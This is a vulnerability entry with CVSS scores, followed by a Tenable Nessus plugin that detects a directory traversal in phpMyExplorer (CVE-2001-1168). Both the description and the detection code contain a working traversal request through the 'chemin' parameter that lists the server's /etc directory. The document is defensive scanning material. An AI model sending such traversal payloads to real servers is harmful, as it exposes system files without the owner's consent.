CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
EPSS
Percentile
86.0%
phpMyExplorer is vulnerable to a directory traversal attack that allows anyone to make the remote web server read and display arbitrary directories.
For example:
GET /index.php?chemin=…%2F…%2F…%2F…%2F%2Fetc will return the contents of the remote /etc directory.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(10750);
script_version("1.29");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2001-1168");
script_bugtraq_id(3266);
script_name(english:"PhpMyExplorer index.php chemin Parameter Encoded Traversal Arbitrary File Access");
script_set_attribute(attribute:"synopsis", value:
"Arbitrary directories may be browsed on the remote server.");
script_set_attribute(attribute:"description", value:
"phpMyExplorer is vulnerable to a directory traversal attack that allows
anyone to make the remote web server read and display arbitrary
directories.
For example:
GET /index.php?chemin=..%2F..%2F..%2F..%2F%2Fetc
will return the contents of the remote /etc directory.");
script_set_attribute(attribute:"solution", value:
"Contact your vendor for the latest software release.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2001/08/29");
script_set_attribute(attribute:"plugin_publication_date", value:"2001/09/07");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:phpmyexplorer:phpmyexplorer_classic");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2001-2022 Tenable Network Security, Inc.");
script_dependencies("webmirror.nasl", "http_version.nasl");
script_require_keys("www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);
foreach dir (cgi_dirs())
{
u = string(dir, "/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc");
r = http_send_recv3(method:"GET", item:u, port:port);
if (isnull(r)) exit(0);
buf = strcat(r[0], r[1], '\r\n', r[2]);
if ("resolv.conf" >< buf)
security_warning(port, extra: strcat(
'\nThe following URL will exhibit the flaw :\n\n', build_url(port: port, qs: u), '\n'));
}